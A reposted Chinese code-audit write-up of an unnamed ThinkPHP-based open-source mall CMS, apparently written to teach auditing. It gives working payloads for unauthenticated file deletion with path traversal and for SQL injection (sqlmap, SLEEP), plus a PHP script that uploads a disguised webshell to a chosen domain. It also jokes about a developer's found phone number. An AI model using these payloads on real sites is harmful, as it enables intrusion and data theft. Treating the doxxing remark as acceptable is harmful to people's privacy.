审计某开源商城中的漏洞大礼包
首先這個CMS并不怎么出名,拿來當審計樣板卻很合適。給我的感覺是適合初級水平升中級之間的過程,有算是對上一篇審計文章的后續文了。
審計的版本為: 20180206 發布的免費版 2.0 。另外圖很多,建議 PC 端體驗更佳!
分析環境及入口
圖中的 URL 會出現兩個,這是因為部分在公司審計的,部分是周末在家審計的。
官網首頁上有文檔,里面注明了這套 CMS 所使用環境:
ThinkPHP5.0 + MySQL
這樣看來實際上我們只需要熟悉TP5,就能大體知道該CMS的請求流程,而TP5中有個很有用的東西,叫路由,通過相關URL快速定位源碼代碼位置。
當然我們在本地部署好站點后,在前臺任意點擊一個URL:
http://demo.com/index.php?s=/helpcenter/index&id=1
其對應的文件路徑為
application/shop/controller/Helpcenter.php
方法則是該文件中的index(),參數為id。
我的習慣是通讀代碼,所以讓我從中找到了很多有意思的地方。
前臺兩處任意文件刪除
一次刪除一個
問題代碼位于:
application/wap/controller/Components.php
方法:
這段代碼非常直白,居然還是public方法,未做任何校驗直接刪除post參數提交過來的文件路徑。
我當時看到這里直接懵逼的,開發新手也不會寫這樣的代碼吧?
刪除安裝鎖文件
Payload:
http://demo.com/index.php?s=/wap/Components/deleteImgUpload
Post Data:
imgsrc = install.lock
權限夠的話imgsrc參數中如果加../是可以刪根目錄上級文件夾中文件。
一次刪除多個
問題代碼位于:
application/wap/controller/Upload.php
方法:
同樣的,依然是public方法,未做任何校驗直接刪除post參數提交過來的文件路徑。
刪除安裝鎖文件
Payload:
http://demo.com/index.php?s=/wap/Upload/removeFile
Post Data:
filename=install.lock,test1.txt,test2.txt
權限夠的話filename參數中如果加../是可以刪根目錄上級文件夾中文件。
前臺兩處 sql 注入
第一處在 getGoodsListByKeyWord 方法
問題出現在application/shop/controller/Goods.php文件中,我們直接看到代碼。
直接放到sqlmap中跑一遍試試:
可以看到,這是一處報錯回顯的sql漏洞。
我們來驗證一下.
OK!我們現在可以直接用sqlmap跑庫了。
第二處出現在 promotionZone 方法
nice! 這里出現了一個無單引號閉合的SQL拼接,我們持續跟進一下。
先用sqlmap測試一下
666666,可以看到攻擊是成功的。
其實到這里就應該結束了,我也不知道為什么我要接著寫下去。麻煩的不是如何找漏洞,而是你需要將這些知識通過語言整理出來,讓閱讀的人能理解,能學習。
安裝好xdebug后,我們來跟蹤調試一波,定位下問題是如何出現,在哪出現的。
當然我們輸入:
http://cms.com/index.php?s=/shop/Goods/promotionZone&page=1&group_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))uNuh)
這段Payload后,發現已經中斷生效。
接著我們開始單步跟蹤。
進入到thinkphp/library/think/db/Query.php文件中的where()方法。
前臺上傳 getshell
問題代碼位于:
application/wap/controller/Upload.php
中的uploadFile()方法。
然后我們來看看驗證函數:
上傳文件的目錄在代碼中也有給出:
本地構建Payload:
Payload腳本
hacker.php
<?php phpinfo(); ?>
Payload.php
<?php/*** xxxx前臺文件上傳Payload* * @version 1.0* @author 0x584A <xjiek2010|at|icloud.com> */ $filename = time(); $ch = curl_init();$savePath = 'upload/common/'; $imgfile = new CurlFile('./hacker.php'); $imgfile->setMimeType('image/jpeg');$data = array('file_path' => $savePath, 'file_upload' => $imgfile); curl_setopt($ch, CURLOPT_URL, 'http://[要getshell的域名]/index.php?s=/wap/Upload/uploadFile'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SAVE_UPLOAD, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data);$info = curl_exec($ch); #status = curl_getinfo($ch);if ($status['http_code'] === 200) {echo '[+] 執行成功! ' . PHP_EOL;echo ']+] Payload路徑: ' . $savePath . $filename . '.php' . PHP_EOL.PHP_EOL;echo '[+] 如有網絡延遲,文件名稱請自行加1'.PHP_EOL; } else {echo '[!] 未知原因失敗!' . PHP_EOL; }有意思的地方
最后還知道了一個開發人員手機號,并確認其姓名。要不要給他打個電話拜個年?
總結
以上是生活随笔為你收集整理的审计某开源商城中的漏洞大礼包的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: MetInfo最新版代码审计漏洞合集
- 下一篇: 分析绕过一款适合练手的云WAF